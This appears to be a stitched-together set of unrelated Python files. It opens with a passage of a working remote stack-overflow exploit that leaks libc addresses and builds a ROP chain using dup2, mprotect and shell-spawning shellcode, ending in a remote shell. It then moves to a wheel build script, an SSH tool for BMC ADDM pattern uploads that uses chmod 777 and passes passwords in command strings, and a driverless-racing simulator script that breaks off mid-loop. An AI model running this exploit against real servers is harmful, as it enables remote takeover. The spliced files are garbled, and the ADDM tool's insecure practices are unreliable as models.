    BASE_LIBC_ADDR = libc_db.assert_unicate_base_addr()

    libc_db.search_symbols_addrs(to_leak)
    libc_addrs = libc_db.assert_unicate_addrs()

    return libc_addrs

leaked = leak_libc_addrs(["str_bin_sh", "system", "dup2", "mprotect", "exit", "puts"])

# shellcode source: http://shell-storm.org/shellcode/files/shellcode-905.php
SHELLCODE = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf' + \
                b'\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54' + \
                b'\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'

NOP = b'\x90'

# check the discussion at the beginning of this file,
# this sould be the buffer base offset if the RBP were to be "truly" leked
#BASE_BUF_ADDR = from_bytes(RBP_bytes) - 0x180

# during one of the tests, this happened to be the offset from the "false leaked" RBP
# which would, at first glance, suggest that the stack grows upwards
BASE_BUF_ADDR = from_bytes(RBP_bytes) + 0xd80

LIBC_POP_RDX_R12_RET_ADDR = BASE_LIBC_ADDR + 0x11c371   # offset calculated depending on libc version; TODO: automate it

def execute_shell(leaked_addrs):

    # first, STDIN/STDOUT/STDERR is redirected with dup2(client socket descriptor, 0/1/2)
    # then, mprotect is called to defeat NX
    # then, the chain returns to the beginning of the overflowed buffer, that contains a shellcode

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((SERVER_IP, SERVER_PORT))

    payload = b''

    local_pad = NOP * 0
    #local_pad = b''

    payload += local_pad
    payload += SHELLCODE
    payload += NOP * (200 - len(SHELLCODE) - len(local_pad))

    payload += canary_bytes
    payload += RBP_bytes

    payload += to_bytes(RET_ADDR) # for stack alignment

    # client socket descriptor value is already in RDI,
    # no need to load it explicitly
    payload += to_bytes(POP_RSI_R15_RET_ADDR)
    payload += to_bytes(0x0)
    payload += PAD_BYTE * 8
    payload += to_bytes(leaked_addrs["dup2"])

    payload += to_bytes(POP_RSI_R15_RET_ADDR)
    payload += to_bytes(0x01)
    payload += PAD_BYTE * 8
    payload += to_bytes(leaked_addrs["dup2"])

    payload += to_bytes(POP_RSI_R15_RET_ADDR)
    payload += to_bytes(0x02)
    payload += PAD_BYTE * 8
    payload += to_bytes(leaked_addrs["dup2"])

    payload += to_bytes(POP_RDI_RET_ADDR)
    payload += to_bytes((BASE_BUF_ADDR // 0x1000) * 0x1000)   # address given to mprotect must be page-aligned
    payload += to_bytes(POP_RSI_R15_RET_ADDR)
    payload += to_bytes(0x1000)
    payload += PAD_BYTE * 8
    payload += to_bytes(LIBC_POP_RDX_R12_RET_ADDR)
    payload += to_bytes(0x4 | 0x1 | 0x2)
    payload += PAD_BYTE * 8

    payload += to_bytes(leaked_addrs["mprotect"])

    payload += to_bytes(RET_ADDR)   # for alignment (not sure if necessary?)
    payload += to_bytes(BASE_BUF_ADDR)

    sock.recv(1024)
    sock.send(payload)

    remote_shell(sock)

execute_shell(leaked)


#!/usr/bin/env python3

import argparse
import shutil
import os
import sys
import tempfile
from pathlib import Path

sys.path.append(os.path.join(os.path.dirname(__file__), '..'))
import common as C

import pythonCommon as PC
import test as T

def main() -> int:

    parser = argparse.ArgumentParser()
    C.add_clean_arg(parser)
    C.add_tag_arg(parser)
    parser.add_argument(
        "python_build_exe",
        type=Path,
        help="Path to the python exe to use for the build, relative to the project root",
    )
    args = parser.parse_args()

    dist_tag_dir = C.DIST_DIR / args.tag

    if args.clean:
        shutil.rmtree(dist_tag_dir)
    dist_tag_dir.mkdir(parents=True, exist_ok=True)

    python_exe = Path(os.path.abspath(C.PROJ_ROOT / args.python_build_exe))
    if os.name == "nt":
        python_exe = python_exe.with_suffix(".exe")
    if not python_exe.is_file():
        print(f"Error: {python_exe} not found", file=sys.stderr)
        return 1

    cmd = (
        python_exe,
        "-m", "pip",
        "install",
        "-r", (PC.PY_DIR / "requirements.txt").resolve(),
    )
    C.run(cmd)

    rc = T.main(("-p", str(python_exe)))
    if rc:
        return rc

    cmd = (
        python_exe,
        (PC.PY_DIR / "setup.py").resolve(),
        "bdist_wheel",
        "-d", dist_tag_dir.resolve(),
    )

    with tempfile.TemporaryDirectory() as tmpdir:
        C.run(cmd, cwd=tmpdir)

    C.create_checksums(dist_tag_dir, "python")

    return 0

if __name__ == "__main__":
    raise SystemExit(main())


"""
Alexander Danylchenko 2017
TPL - (tideway pattern language) syntax highlighting and checking tool.
Syntax checking is based on BMC code and not included in this public version due to license restrictions.
Allows you to automate usual routine in pattern development.
"""

import itertools
import hashlib
import re
import logging
import sys
import time

try:
    import progressbar
except ModuleNotFoundError:
    progressbar = False
    pass
except ImportError:
    progressbar = False
    pass

log = logging.getLogger("check_ide.logger")

class AddmOperations:

    def __init__(self, ssh):
        """
        Class should be init with active SSH function.
        If no SSH - no work will done here.

        IF not 'dev_vm_check': True:
            Program will try to upload package via SFTP

            3.1 Check upload folder \ Create if no folder found \ Wipe if any old file found
            3.2 Check pattern or zip in filesystem AND start upload to ADDM
            3.1 Check upload completed (pattern or zip) and run --install-activate

        IF 'dev_vm_check': True:
            Nothing will be uploaded via SFTP because there is a local share found.

            3.1 Compose path from local pattern to same remote in dev.
            3.1 Execute ssh command with path as remote share to pattern package and activate

        Idea:
            3.1.1 Try to deactivate unused modules - IDEA

        4 When activate finished - return result (pass \ fail) - (output)

        :param ssh: func
        """
        self.ssh_cons = ssh

        # noinspection SpellCheckingInspection
        self.upload_activated_check = re.compile('(\d+\sknowledge\supload\sactivated)')
        self.upload_num_item = re.compile('Uploaded\s+\S+\s+as\s\"([^"]+)\"')

    # noinspection PyBroadException
    def upload_knowledge(self, zip_on_local, zip_on_remote):
        """
        Use local path to zip file and remote path where to download.
        Check md5sum of both files after upload.
        Use hardcoded path.
            This path should be checked and created in parse_args.check_folders()

        :param zip_on_local: str - path to zip in local system
        :param zip_on_remote: str - path where put this zip
        """

        log.debug("zip file local: " + zip_on_local)
        log.debug("zip file remote: " + zip_on_remote)

        sftp = self.ssh_cons.open_sftp()
        try:
            sftp.put(zip_on_local, zip_on_remote)
            sftp.close()
            log.info("Patterns upload:" + "PASSED!")
        except:
            log.error("Something goes wrong with sftp connection or zip file! Check if file path or folder exists")
            raise FileNotFoundError

        if zip_on_local:
            self.file_check(zip_on_local, zip_on_remote)
        else:
            self.file_check(zip_on_remote, zip_on_local)

    # noinspection PyBroadException
    def activate_knowledge(self, zip_path, module_name, system_user, system_password):
        """
        Give it path where zip folder can be:
            - for dev_vm - mirror FS
            - for usual - SFTP path

        Nothing to delete REMOTELY.
        Wipe only old zip LOCALLY!

        ['Uploaded /usr/tideway/TKU/addm/tkn_main/tku_patterns/CORE/
                    PatternFolder/imports/tpl113/PatternFile.zip as "PatternFile upload 10"\n',
         'Failed to activate 1 knowledge upload\n',
         'Pattern module BMC.RemedyARSystem\n',
         '\tErrors:\n',
         "\t\tSyntax error at or near 'check_ide' at line 15\n",
         'Pattern module BMC.RemedyARSystem\n',
         '\tWarnings:\n',
         '\t\tDeactivating BMC.RemedyARSystem to use newly activated module\n',
         '\n']

        :param system_password: str
        :param system_user: str
        :param zip_path: Path to zip with patterns uploaded or mirrored
        :param module_name: Name of pattern folder
        """
        result_out = []

        uploaded_activated = False  # 1 knowledge upload activated
        log.debug("Activate local zip: ensure we have rights of 777 on this file: "+str(zip_path))
        log.info("Installing and activating modules.")

        # Lines will be collected in list:
        tw_pattern_management = "/usr/tideway/bin/tw_pattern_management -u {} -p {}".format(system_user, system_password)
        install_activ_progress = " --show-progress --install-activate {}".format(zip_path)
        install_tku = '{}{}'.format(tw_pattern_management,install_activ_progress)

        try:
            self.ssh_cons.exec_command("chmod 777 "+str(zip_path))
            try:
                _, stdout, stderr = self.ssh_cons.exec_command(install_tku)
                while stdout is not None:
                    out = stdout.readlines()
                    err = stderr.readlines()
                    raw_out = "".join(out)
                    raw_err = "".join(err)
                    result_out.append(raw_out.rstrip('\r'))
                    result_out.append(raw_err.rstrip('\r'))
                    if not out:
                        break
                    time.sleep(1)

                result = ''.join(result_out)
                # log.debug("tku install cmd: '%s'", install_tku)
                # log.error("result all: %s", result)
                if result:
                    item = self.upload_num_item.findall(result)
                    if self.upload_activated_check.findall(result):
                        uploaded_activated = True
                        log.info("Upload activating: " + "PASSED!")
                        log.info("Upload successfully. Module: " + str(module_name) +
                                 " as "+str(item[0]))
                    else:
                        log.critical("Pattern activation run with errors or warnings!")
                        log.critical("Detailed description from ADDM: \n"+result)
            except:
                raise Exception("Activation tw_pattern_management command cannot run!")
        except:
            raise Exception("Command 'chmod 777' cannot run on path: "+str(zip_path))

        return uploaded_activated

    def wipe_tku(self, system_user, system_password):
        """
        IDEA - run deactivate and removals if requested - before activate new.
        Clean patterns before upload new pack and run this only when arg flag is added.
        For example like: -wipe_tku = True.

        :return:
        """
        result_out = []

        log.debug("Func to deactivate previous or old TKU updates.")
        is_tkn_wiped = False
        log.info("CAUTION: Wiping all installed TKU in addm!")

        tw_pattern_management = "/usr/tideway/bin/tw_pattern_management -u " + system_user + " -p " + system_password
        remove_all_force = " --remove-all --force"

        try:
            _, stdout, stderr = self.ssh_cons.exec_command(tw_pattern_management + remove_all_force)

            # Show progress with fancy progressbar:
            msg = " Wiping all pattern modules. "
            baring = self.progress_bar(msg)

            # Show progress with fancy progressbar:
            while stdout is not None:
                if progressbar:
                    baring.update()
                else:
                    sys.stdout.write(next(baring))
                    sys.stdout.flush()
                    sys.stdout.write('\b')  # Working fine in win CMD but not in PyCharm.

                out = stdout.readlines()
                raw_out = "".join(out)
                result_out.append(raw_out.rstrip('\r'))
                if not out:
                    break
                time.sleep(0.1)

            # Final result:
            result = ''.join(result_out)
            if "Removed all pattern modules" in result:
                # Close bar, do not forget to.
                if progressbar:
                    baring.finish()
                is_tkn_wiped = True
                log.info("All TKU modules were wiped!")
            elif "No pattern modules to remove" in result:
                # Close bar, do not forget to.
                if progressbar:
                    baring.finish()
                is_tkn_wiped = True
                log.info("No pattern modules to remove.")
            else:
                # Close bar, do not forget to.
                if progressbar:
                    baring.finish()
                log.warning("Command 'tw_pattern_management --remove-all --force' cannot run:\n"+str(result))
        except:
            raise Exception("Wiping tw_pattern_management command cannot run!")

        return is_tkn_wiped

    def check_file_pattern(self, local_file, remote_file):
        """
        Check the file sum to ensure it was downloaded successfully.

        Pattern:
        output_ok = ['be890ee8bee5f136ca10c03095e8ad60  /usr/tideway/TKU/Tpl_DEV/PatternFile.tpl\n']
        local_hash5 = be890ee8bee5f136ca10c03095e8ad60

        zip:
        output_ok = ['cc625d0ae7ea33885b6c1e7f67bcbf84  /usr/tideway/TKU/Tpl_DEV/PatternFile.zip\n']
        local_hash5 = cc625d0ae7ea33885b6c1e7f67bcbf84

        :param remote_file: file on ADDM
        :param local_file: file in local system
        :return:
        """

        local_hash5 = ''
        output_ok = ''

        log.debug("MD5SUM: Checking file sum of local_file: "+str(local_file))
        log.debug("MD5SUM: Checking file sum of remote_file: "+str(remote_file))

        try:
            local_hash5 = hashlib.md5(open(local_file, 'rb').read()).hexdigest()
            _, stdout, stderr = self.ssh_cons.exec_command("md5sum " + remote_file)
            output_ok = stdout.readlines()
            output_ok = output_ok[0]
        except FileNotFoundError as e:
            log.error("File cannot be found in this path. Message: "+str(e))

        if local_hash5 in output_ok:
            log.debug("Checksum of files is OK!\n Local sum:  " + local_hash5 + "\n Remote sum: " + output_ok)
            file_ok = True
        else:
            log.error("Checksum of files is DIFFERENT!\n Local sum: " + local_hash5 + "\n Remote sum: " + output_ok)
            file_ok = False

        return file_ok

    # noinspection PyBroadException
    def tests_executor(self, tests_list, tst_cond):
        """
        This function execute tests for patterns.
        For test run - test list should be used, even with 1 element.

        Before run it will load bash_profile to activate paths to python, tideway, core etc.
        Progress will be shown if progressbar2 installed in local python libs.

        :param tst_cond:
        :param tests_list: list
        :return:
        """

        test_verbose_arg = ''
        test_failfast_arg = ''
        if tst_cond['test_verbose']:
            test_verbose_arg = ' --verbose'
        if tst_cond['test_failfast']:
            test_failfast_arg = ' --failfast'
        test_args = test_verbose_arg+test_failfast_arg

        if tests_list:
            log.info("-==== START TESTS EXECUTION ====-")
            tests_len = len(tests_list)
            log.info("Tests related to: "+str(tests_list[0]['pattern']))
            log.info("All tests len: "+str(tests_len))

            # Run test: 0 of 10 | - should be fixed, but I have no workaround.
            if progressbar:
                widgets = [
                           'Run test: ',
                           progressbar.SimpleProgress(), ' ',
                           progressbar.Percentage(), ' ',
                           progressbar.Bar('#'),
                           progressbar.Timer(), ' ',
                           progressbar.ETA(), ' ',
                           # ' Calculated ',
                           # progressbar.AdaptiveETA(), ' ',
                           progressbar.AbsoluteETA(),
                           '.\n']
                bar = progressbar.ProgressBar(widgets=widgets,
                                              max_value=tests_len,
                                              redirect_stdout=True,
                                              redirect_stderr=True)
            else:
                log.debug("Module progressbar2 is not installed, will show progress in usual manner.")
                pass

            # TODO: log.debug("Run test for: PLACE HERE NAME OF FOLDER WE TESTING NOW.")
            for i, test in enumerate(tests_list):
                # env_prep = """TKN_MAIN='/usr/tideway/TKU/addm/tkn_main' && TKN_CORE='/usr/tideway/tku_patterns/CORE' && PYTHONPATH='$PYTHONPATH:/usr/tideway/python' && """
                i = i + 1
                log.info("Start test: " + str(test['rem_test_path'])+test_args)

                pre_cmd = ". ~/.bash_profile;"
                # pre_cmd = env_prep

                wd_cmd = "cd "+test['rem_test_wd']+";"

                cmd_test = "/usr/tideway/bin/python -u "+test['rem_test_path']+test_args
                cmd = pre_cmd + wd_cmd + cmd_test
                log.debug("Run: "+str(cmd))

                # Show output and count of running tests and ETAs:
                if progressbar:
                    bar(range(tests_len))
                    bar.update(i)
                # Print simple counter:
                else:
                    log.info("%d test of "+str(tests_len), i)

                try:
                    _, stdout, stderr = self.ssh_cons.exec_command(cmd)
                    # This pipe is for messages from test_utils and dml...
                    if stdout:
                        output = stdout.readlines()
                        raw_out = "".join(output)
                        log.debug("-==== DETAILED LOG ====-")
                        sys.stdout.write('\b')
                        log.debug("\n"+raw_out)
                    # This pipe of for unittest output only:
                    if stderr:
                        output = stderr.readlines()
                        raw_out = "".join(output)
                        sys.stdout.write('\b')
                        log.info("-==== UNITTEST LOG ====-")
                        log.info("\n\n"+raw_out)
                except:
                    # Not raise - see what happen with others:
                    log.error("Test execution command cannot run: "+str(cmd))
            if progressbar:
                bar.finish()  # Close bar, do not forget to.
            log.info("-==== END OF TESTS EXECUTION ====-")

        else:
            log.warning("There are no related tests found for current pattern!")

    @staticmethod
    def progress_bar(msg):
        """
        Show progress.
        Input message string.
        Output bar or spinner.

        :param msg:
        :return:
        """
        # progressbar = False
        if progressbar:
            progressbar.streams.flush()
            progressbar.streams.wrap_stdout()
            widgets = [progressbar.AnimatedMarker(),
                       msg,
                       progressbar.Timer()]
            bar = progressbar.ProgressBar(widgets=widgets,
                                          max_value=progressbar.UnknownLength,
                                          redirect_stdout=True,
                                          redirect_stderr=True)
            return bar

        else:
            log.debug("Module progressbar2 is not installed, will show progress in usual manner.")
            spinner = itertools.cycle(['-', '/', '|', '\\'])
            return spinner

    def file_check(self, zip_on_local, zip_on_remote):
        """
        Run MD5 sum check_ide function. Raise error when sum not equal.

        :return:
        """
        file_check = self.check_file_pattern(local_file=zip_on_local, remote_file=zip_on_remote)
        if file_check:
            log.debug("File was found on ADDM file system.")
        else:
            log.error("File was found or not uploaded on ADDM file system.")
            raise FileNotFoundError


# Import libraries
import sys
import os
import numpy as np
import math
import matplotlib.pyplot as plt
import cv2
import time
from PIL import Image
import torch
import config
import threading
import utm

# Adds the fsds package located the parent directory to the python path
fsds_lib_path = os.path.join(os.path.expanduser("~"), "Formula-Student-Driverless-Simulator", "python")
sys.path.insert(0, fsds_lib_path)

import sba
import fsds
from fsds.types import Quaternionr
from fsds.types import Vector3r

def get_cone_dXYZq(u, v, Rq, iA=config.INTRINSICS):
    xy1_c = iA.dot(np.array([[u, v, 1]], dtype=np.float64).T)
    return Vector3r(xy1_c[0, 0], xy1_c[1, 0], xy1_c[2, 0]).to_Quaternionr().rotate(Rq)

def reproj_cone_Z(t, dXYZq, Z):
    s = -(t.z_val - Z) / dXYZq.z_val
    return Vector3r(t.x_val + s * dXYZq.x_val, t.y_val + s * dXYZq.y_val, s)

def get_A(Rq, t):
    A = np.zeros(6, dtype=np.float64)
    iRq = Rq.inverse()

    if iRq.w_val > 0:
        A[-6:-2] = iRq.to_numpy_array()
    else:
        A[-6:-2] = -iRq.to_numpy_array()

    A[-3:] = -t.rotate(iRq).to_numpy_array()[0:3]
    return tuple(A)

def cn2point(cn):
    return (int(cn['x']), int(cn['y']))

def calculate_throttle(velocity, steering,
                       max_throttle=config.MAX_THROTTLE,
                       speed_step=config.SPEED_STEP,
                       target_speed=config.TARGET_SPEED):
    global filter_speed
    filter_speed = min(filter_speed, max(1 - abs(steering), 0) * target_speed)
    filter_speed = filter_speed + min(target_speed - filter_speed, speed_step)
    # The lower the velocity, the more throttle, up to max_throttle
    return max_throttle * max(1 - velocity / filter_speed, 0)

def sldim(arr, size, handler):
    return [handler(arr[i:i + size]) for i in range(0, len(arr), size)]

def cn2p(cn):
    return (cn['u'], cn['v'])

def calculate_steering(cones, im, w, h):
    if len(cones) > 1:
        cv2.line(im, cn2p(cones[-1]), cn2p(cones[-2]), (0), 2)
        x_span = abs(cones[-1]['u'] - cones[-2]['u'])
        tx = (cones[-1]['u'] + cones[-2]['u']) / 2
        ty = (cones[-1]['v'] + cones[-2]['v']) / 2
        cv2.line(im, (int(tx), int(ty)), (int(w / 2), int(h)), (255), 2)
        return x_span, config.CAMERA_FOV * (tx - w / 2) / (h - ty), im
    else:
        cv2.line(im, cn2p(cones[0]), (int(w / 2), int(h)), (255), 2)
        return 0, config.CAMERA_FOV * (cones[0]['u'] - w / 2) / (h - cones[0]['v']), im

def visual_thread(im, results, model, cones_lim=config.CONES_LIM):
    r = model(Image.fromarray(im), size=len(im))
    df = r.pandas().xyxy[0]

    # TODO: cone size filter should be used!

    df = df.drop(['confidence', 'class', 'name'], axis=1)
    # df['ratio'] = (df.ymax - df.ymin) / (df.xmax - df.xmin)
    # sort_df = df.sort_values(by=['ymax'], ascending=False)

    df['square'] = ((df.xmax - df.xmin)*(df.ymax - df.ymin))
    sort_df = df.sort_values(by = ['square'], ascending = False)

    cones = []
    for index, row in sort_df.iterrows():

        # Ignore intersections, too close detections
        while index > 0:
            index -= 1
            if (sort_df.ymax[index] + sort_df.ymin[index] - row['ymax'] - row['ymin']) ** 2 + \
                    (sort_df.xmax[index] + sort_df.xmin[index] - row['xmax'] - row['xmin']) ** 2 < \
                    (sort_df.xmax[index] - sort_df.xmin[index] + row['xmax'] - row['xmin']) ** 2:
                break

        if index > 0:
            continue

        dic = {'u': int((row['xmin'] + row['xmax']) / 2), 'v': int(row['ymax'])}

        # Check for cone width and height reduce monothonic accordingly to screen position ???
        if len(cones) < cones_lim:
            cones.append(dic)
            cv2.circle(im, cn2p(dic), int((row['xmax'] - row['xmin']) / 2), (0), 2)
        else:
            cv2.circle(im, cn2p(dic), int((row['xmax'] - row['xmin']) / 2), (255), 2)

    results[:] = cones, im

def loop_closure(current_point, start_radius=3.0):
    global start_point, loop_fsm
    if not 'start_point' in globals():
        start_point = current_point
        loop_fsm = 3
        return False

    if loop_fsm == 3:
        if (start_point - current_point).get_xy_length() > start_radius:
            loop_fsm = 2
    if loop_fsm == 2:
        if (start_point - current_point).get_xy_length() < start_radius:
            loop_fsm = 1
    if loop_fsm == 1:
        if (start_point - current_point).get_xy_length() > start_radius:
            loop_fsm = 0
            return True
    if loop_fsm == 0:
        return True
    return False

def imgpnt_scale(val, cen, scl):
    return scl * (val - cen) + cen

def mappnt2imgpnt(p, sz):
    global vehicle_path

    px = sz * (p['x'] - vehicle_path.min_x) / (vehicle_path.max_x - vehicle_path.min_x)
    py = sz * (p['y'] - vehicle_path.min_y) / (vehicle_path.max_y - vehicle_path.min_y)

    if vehicle_path.max_x - vehicle_path.min_x > vehicle_path.max_y - vehicle_path.min_y:
        py = imgpnt_scale(py, sz / 2,
                          (vehicle_path.max_y - vehicle_path.min_y) / (vehicle_path.max_x - vehicle_path.min_x))
    else:
        px = imgpnt_scale(px, sz / 2,
                          (vehicle_path.max_x - vehicle_path.min_x) / (vehicle_path.max_y - vehicle_path.min_y))

    return (int(px), int(py))

def get_car_imgmap(sz, o, vto, cone_seen_cnt=config.CONE_SEEN_CNT):
    global vehicle_path, cm
    im = np.zeros((sz, sz), dtype=np.uint8)
    for c in cm.cones:
        if len(c.fuv) > cone_seen_cnt:
            cv2.circle(im, mappnt2imgpnt({'x': c.ep.x_val, 'y': c.ep.y_val}, sz), radius=0, color=(255), thickness=-1)

    for p in vehicle_path.points:
        p1 = mappnt2imgpnt(p, sz)
        if vto is not None:
            if 'p0' in locals():
                cv2.line(im, p0, p1, (255), 1)
        p0 = p1

    cv2.circle(im, p0, 5, (255), 2)
    cv2.line(im, p0, (list(p0)[0] + int(10 * o.x_val), list(p0)[1] + int(10 * o.y_val)), (255), 2)
    if vto is not None:
        cv2.line(im, p0, (list(p0)[0] + int(vto.x_val), list(p0)[1] + int(vto.y_val)), (255), 1)
    return im

def get_objpoints_and_imgpoints():
    global c_eps_ratio, cm

    objpoints = []
    imgpoints = []
    for c in cm.cones:
        for c_fuv in c.fuv:
            if c.eps < c_eps_ratio * cm.eps:
                A = cm.frames[c_fuv[0]]
                iRq = Vector3r(A[0], A[1], A[2]).to_Quaternionr()
                iRq.calc_wval()

                ep = c.ep.to_Quaternionr().rotate(iRq) + Quaternionr(A[-3], A[-2], A[-1], 0)
                objpoints.append([ep.x_val, ep.y_val, ep.z_val])
                imgpoints.append(c_fuv[1:3])
    return (np.array(objpoints, dtype=np.float32), np.array(imgpoints, dtype=np.float32))

def calibrate_camera(cx, cy, fx, fy):
    cr = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 30, 1e2)
    flags = (
            cv2.CALIB_USE_INTRINSIC_GUESS +
            cv2.CALIB_FIX_PRINCIPAL_POINT +
            cv2.CALIB_FIX_ASPECT_RATIO +
            cv2.CALIB_ZERO_TANGENT_DIST
    )
    objp, imgp = get_objpoints_and_imgpoints()
    ret, mtx, dist, rvecs, tvecs = cv2.calibrateCamera([objp], [imgp], (int(2 * cx), int(2 * cy)),
                                                       np.array([[fx, 0., cx], [0., fy, cy], [0., 0., 1.]],
                                                                dtype=np.float64), None,
                                                       flags=flags,
                                                       criteria=cr)

class Gps_nav:
    def __init__(self, p):
        self.ix, self.iy, *_ = utm.from_latlon(p.latitude, p.longitude)

    def get_nav(self, p):
        cx, cy, *_ = utm.from_latlon(p.latitude, p.longitude)
        return cx - self.ix, cy - self.iy

# vehicle path
class Vehicle_path:
    points = []
    max_x = 0
    max_y = 0
    min_x = 0
    min_y = 0
    border = 1

    def __init__(self, border):
        self.border = border

    def add_point(self, p):
        self.max_x = max(p['x'] + self.border, self.max_x)
        self.max_y = max(p['y'] + self.border, self.max_y)
        self.min_x = min(p['x'] - self.border, self.min_x)
        self.min_y = min(p['y'] - self.border, self.min_y)

        self.points.append(p.copy())

    def get_vector_to(self, i, x, y):
        p = self.points[i]
        return Vector3r(p['x'] - x, p['y'] - y, 0)

class Cone:
    def __init__(self, frame_idx, cam_u, cam_v, pZ0):
        # Each cone record contains:
        # U, V - 2D projection coordinates
        # sgm - standard deviation
        # det - number of detections
        self.fuv = [(frame_idx, cam_u, cam_v)]  # list of (frame_idx, cam_u, cam_v) list of all pixel values for specific cone index on all images
        self.lp = pZ0  # lp - Vector3r() last XYZ world cone point with Z=0 (used for 1 step)
        self.ep = Vector3r(pZ0.x_val, pZ0.y_val, 0)  # ep - Vector3r() estimated XYZ world cone point
        self.ncams = 1  # number of cameras used when the estimate(ep) was done
        self.eps = np.inf  # L2 norm BA error in pixels

    # Make sure there are only one detected  cone on every frame
    def assign_cone(self, frame_idx, cam_u, cam_v, pZ0):
        if frame_idx > self.fuv[-1][0]:
            self.fuv.append((frame_idx, cam_u, cam_v))
            self.lp = pZ0
            return True
        else:
            return False

# ------------------------------------------- Tracking -------------------------------------------
# Global map of cones
class Cone_map:
    def __init__(self, fcones, Rq, t):
        self.cones = []  # list of 'cone' objects

        # First frame
        for c in fcones:
            self.cones.append(Cone(0, c['u'], c['v'], reproj_cone_Z(t, get_cone_dXYZq(c['u'], c['v'], Rq), 0)))

        self.frames = [get_A(Rq, t)]  # List of all camera rotations + translations
        self.eps = np.inf  # Min L2 norm BA error in pixels

    def __str__(self):
        return f"str Cones = {self.cones}"

    def add_cones(self, fcones, Rq, t, last, same_cone_bound=config.SAME_CONE_BOUND):

        cones_link = []  # (last_index, distance, u, v, pZ0, dXYZq)
        for c in fcones:
            dXYZq = get_cone_dXYZq(c['u'], c['v'], Rq)
            pZ0 = reproj_cone_Z(t, dXYZq, 0)
            cones_link.append(min(enumerate([(self.cones[l].lp - pZ0).get_xy_length() for l in last]),
                                  key=lambda x: x[1]) + (c['u'], c['v'], pZ0, dXYZq)
                              )

        new_last = []
        # First step: try to assign new cones using the 'continuity' between new and last frames(with reprojection to Z=0)
        cones_link = sorted(cones_link, key=lambda x: x[1])  # Sort by distance

        for l in cones_link:
            new_last.append(last[l[0]])
            if l[1] > same_cone_bound or not self.cones[last[l[0]]].assign_cone(len(self.frames), l[2], l[3], l[4]):
                # Second step: try to assing new cones using the 'closeness' estimated XYZ world cone points in cone map
                cp = min(enumerate([(c.ep - reproj_cone_Z(t, l[5], c.ep.z_val)).get_xy_length() for c in self.cones]),
                         key=lambda x: x[1])
                new_last[-1] = cp[0]
                if cp[1] > same_cone_bound or not self.cones[cp[0]].assign_cone(len(self.frames), l[2], l[3], l[4]):
                    # Finally add definitely new cone to the cone map
                    new_last[-1] = len(self.cones)
                    self.cones.append(Cone(len(self.frames), l[2], l[3], l[4]))

        self.frames.append(get_A(Rq, t))
        return new_last
# ------------------------------------------- Tracking -------------------------------------------

# ------------------------------------------- Bundle Adjustment -------------------------------------------
def Map_cones(cones, kinematics, R0q, cam_pos,
              cone_seen_cnt=config.CONE_SEEN_CNT):
    global cm, last, camcalib_trig
    Rq = kinematics.orientation * R0q
    t = kinematics.position.to_Quaternionr() + cam_pos.to_Quaternionr().rotate(kinematics.orientation)

    if 'cm' not in globals():
        # Contains cone map indicies(cones) that was added on the frame(add_cones call)
        current = list(range(len(cones)))
        cm = Cone_map(cones, Rq, t)
    else:
        current = cm.add_cones(cones, Rq, t, last)
        print('Add_cones: ', current)

    # Contains cones that was on last frame but not on current
    out = list(set(last) - set(current))

    if out:  # We should have some points to make BA on them
        for c in out:
            if len(cm.cones[c].fuv) > cone_seen_cnt:
                # Pinhole model, no distortion
                cameras = sba.Cameras(np.array([list(cm.frames[f[0]]) for f in cm.cones[c].fuv], dtype=np.float64))
                points = sba.Points(
                    np.array([[cm.cones[c].ep.x_val, cm.cones[c].ep.y_val, cm.cones[c].ep.z_val]], dtype=np.float64),
                    np.array([[[fuv[1], fuv[2]] for fuv in cm.cones[c].fuv]], dtype=np.float64),
                    np.ones((1, cameras.ncameras), dtype=np.byte))
                print('Points: ', points)
                options = sba.Options.fromInput(cameras, points)
                options.motstruct = sba.OPTS_STRUCT  # Optimize structure only
                options.verbose = False

                options.intrcalib = np.array([config.fx, config.cx, config.cy, 1, 0], dtype=np.float64)

                newcameras, newpoints, info = sba.SparseBundleAdjust(cameras, points, options)
                print("New points: ", newpoints)

                if info.epsF < cm.cones[c].eps:
                    cm.cones[c].ep = Vector3r(newpoints.B[0, 0], newpoints.B[0, 1], newpoints.B[0, 2])
                    cm.cones[c].eps = info.epsF
                    if cm.eps < info.epsF:
                        cm.eps = info.epsF

                if camcalib_trig > -1:
                    camcalib_trig = camcalib_trig - 1

                # Perform camera calibration algorithm only once
                if camcalib_trig == 0:
                    calibrate_camera(config.cx, config.cy, config.fx, config.fy)
    last = current
#  ------------------------------------------- Bundle Adjustment -------------------------------------------

# ====================================MAIN====================================
t2 = t1 = time.time()
idx = 0
cones_lim = config.CONES_LIM
target_speed, max_throttle = config.TARGET_SPEED, config.MAX_THROTTLE
# Camera intrinsic matrix
intrinsics = config.INTRINSICS
# Images we need to collect before camera calibration
camcalib_trig = config.CAMCALIB_TRIG

c_eps_ratio = 2
filter_speed = 0

model = config.FINAL_MODEL
print('Model is on CUDA check: ', next(model.parameters()).is_cuda)

# Connect with simulator
client = fsds.FSDSClient(ip="192.168.137.1")
client.confirmConnection()
client.enableApiControl(True)

# Car navigation
gps = client.getGpsData()
gps_navigator = Gps_nav(gps.gnss.geo_point)
car_state = client.getCarState()

vehicle_path = Vehicle_path(5)

cam_pitch = 22.5 * np.pi / 180
R0q = Quaternionr(0., np.sin(np.pi / 4. + cam_pitch / 2.), 0., np.cos(np.pi / 4. + cam_pitch / 2.)) \
      * Quaternionr(0., 0., -np.sin(np.pi / 4.), np.cos(np.pi / 4.))

# Camera position from settings.json
cam_pos = Vector3r(-0.3, -0.16, 0.8)

last = []

while (t2 - t1) < config.TIME_LIM_SEC:
    t2 = time.time()

    imu = client.getImuData(imu_name='Imu', vehicle_name='FSCar')

    # Calculate the velocity in the vehicle's frame
    v = math.sqrt(math.pow(gps.gnss.velocity.x_val, 2) + math.pow(gps.gnss.velocity.y_val, 2))

    cs_prev = car_state
    # Get the car state
    car_state = client.getCarState()

    [image] = client.simGetImages([fsds.ImageRequest(camera_name='cam1', image_type=fsds.ImageType.Scene,
                                                     pixels_as_float=False, compress=False)],
                                  vehicle_name='FSCar')

    img_arr = np.array(
        sldim(sldim(image.image_data_uint8, 3, lambda p: int((p[0] + p[1] + p[2]) / 3)), image.width, lambda l: l),
        dtype=np.uint8)

    t3 = time.time()
    if 'vt' in globals():
        vt.join()
        cones, im = results[:]

    results = [None, None]

